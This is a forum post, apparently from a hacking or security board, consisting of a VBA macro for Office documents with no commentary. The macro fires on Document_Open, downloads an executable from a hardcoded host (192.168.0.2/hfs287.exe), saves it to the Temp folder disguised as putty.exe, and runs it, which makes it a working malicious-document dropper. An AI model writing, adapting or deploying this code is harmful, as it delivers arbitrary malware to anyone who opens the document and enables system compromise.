ongrong1
Laugh Commander
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1
300 XP
Code:
#If Win64 Then Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _ ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) #Else Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _ ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) #End If Sub ToggleHyperlinkCtrlClick() Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen End Sub Sub Document_Open() DownloadAndExecute End Sub Sub DownloadAndExecute() Dim URL AS String Dim FILE AS String URL = "http://192.168.0.2/hfs287.exe" FILE = Environ("Temp") & "\" & "putty" & ".exe" URLDownloadToFileA 0, URL, FILE, 0, 0 If Len(Dir(FILE)) > 0 Then Shell FILE, vbNormalFocus End If End Sub